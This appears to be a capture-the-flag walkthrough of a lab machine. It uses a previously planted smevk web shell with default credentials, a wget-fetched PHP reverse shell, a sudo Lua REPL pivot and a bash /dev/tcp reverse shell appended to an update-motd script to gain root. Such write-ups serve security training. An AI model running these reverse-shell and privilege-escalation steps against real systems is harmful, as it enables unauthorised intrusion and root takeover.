5eb1e9495a12b0323d8a529ea3e5af4b.png

0. Preface

A relatively easy box. Some lateral thinking and OSINT is required for the first section to get to user, but the rest of the box is pretty straightforward.

In this box, we will be tackling:

  1. Further pwning a pwned website
  2. Using a LUA REPL compiler to pivot to another user
  3. Using MOTDs to get a root shell

1. Preliminary NMAP Scanx

sudo nmap -sC -sV -oN nmap.txt 10.10.10.181 -v

4204251156cbf7305e30694634008f3a.png

This machine is running Ubuntu Linux.

There are only two ports of interest on this machine - port 80 and 22.

2. Web Server Enumeration

Accessing http://10.10.10.181 leads us to a web server that seems to have been hacked prior:

e43e6bb04126f5bf4b01cdb73c098a9a.png

Looking at the source of the website, we see that a comment has been added:

eacf96e44e51e251c522ea6792777581.png

Googling the string “best web shells you might need” turns up this Github Repository of web shells.

We will do a git clone of this repository first. Then using the list of .php files, run gobuster to find out if there are any web shells from the repository running on this web server.

010a44cebca3a53cc73c49471cba1c21.png

deb02ecaea62beed584055a6cc2ea31a.png

gobuster dir -u http://10.10.10.181 -w ./shells.txt

4e02f1982bf15ee214c396d12d9b71a9.png

From the gobuster results, smevk.php has been uploaded to the web server. Accessing smevk.php presents us with a login page.

fd9ebcfbcba57fd91c197d1280eea5b9.png

Looking at the source code for smevk.php, we can see that the default username and password to this webshell is admin:admin. We are able to successfully login with the default credentials.

4db134eabb2dd8bbd3beb78a0ebcf788.png

52414dbfad3f8f8de9dbd1ae53f471f3.png

3. PHP Reverse Shell

Using this web shell, will upload our own reverse shell to the /var/www/html directory, which is the root directory of the web server.

We will be using the Console tab to do so.

a012cef6e15d330d355c670e326fd259.png

Start a python3 http server on our local machine, then use wget on the remote machine to download the file.

(Local Machine)

python3 -m http.server 8888

(Remote Machine)

wget http://10.10.14.43:8888/php-reverse-shell.php
mv php-reverse-shell.php main.php

ec7a435997b8fe409970ffd5b272d70b.png

We will start a netcat listener on our machine, then trigger the shell by navigating to http://10.10.10.181/main.php.

nc -lvnp 8000

847f9d9c8378639dfdc0ee25e2695933.png

d564a291918fbba3faf282b7bb1a1b58.png

We can see that we are logged in as webadmin. Before proceeding, we will upgrade our shell to an interactive shell using python3.

4. Pivoting

Enumerating the machine manually, we can see that there’s a note in the home directory of webadmin, which points to a tool to practice Lua with.

81b78ce7a957d56af4315ff64d7f9e8b.png

Running sudo -l tells us that webadmin can run /home/sysadmin/luvit as the user sysadmin without needing a password. A Google search for Luvit turns up a REPL (Read-Eval-Print-Loop) Lua compiler.

Lua has a function to run OS commands using os.execute('cmd'), so we can make use of that to pivot us to sysadmin.

sudo -u sysadmin /home/sysadmin/luvit

f0226abfbaec72eba9c15d2d5e38b96a.png

os.execute('whoami')
os.execute('/bin/bash')

a2f14e68d2bc89ccfa3ce80328662d65.png

5. Privilege Escalation

Next, we will upload and run linpeas.sh on the machine for further enumeration.

(Local Machine)

python3 -m http.server 8888

(Remote Machine)

wget http://10.10.10.181:8888/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

06d6f090fdf0902bf7e26fae3ec18571.png

From the output, we can see that sysadmin is able to edit the files in update-motd. These files are run as root when a new SSH session starts, displaying the motd.

37237d568e8d365167d520e0ee56e989.png

5ec82e33c7884d65664373920b9be32f.png

In order to exploit this, we will first generate an SSH key with ssh-keygen.

8545d6d5f930a013af92d79123491212.png

Next, copy the contents of id_rsa.pub to /home/sysadmin/.ssh/authorized_keys. This will allow us to use the generated private key to SSH into the machine.

4d9e0874cff944f09caffb95b277dcfe.png

Next, we will append a script to trigger a bash reverse shell when the motd is run, using the file /etc/update-motd.d/00-header.

(Bash Reverse Shell Script)

bash -c 'bash -i >& /dev/tcp/10.10.14.43/8000 0>&1'

b407dc05875c44592a1c78955287e5ee.png

Next, we will start a netcat listener on our local machine, then SSH to the machine with sysadmin in order to trigger the reverse shell.

nc -lvnp 8000
ssh sysadmin@10.10.10.181 -i id_rsa

251715102e7a265be12a85eb1d0c6c7b.png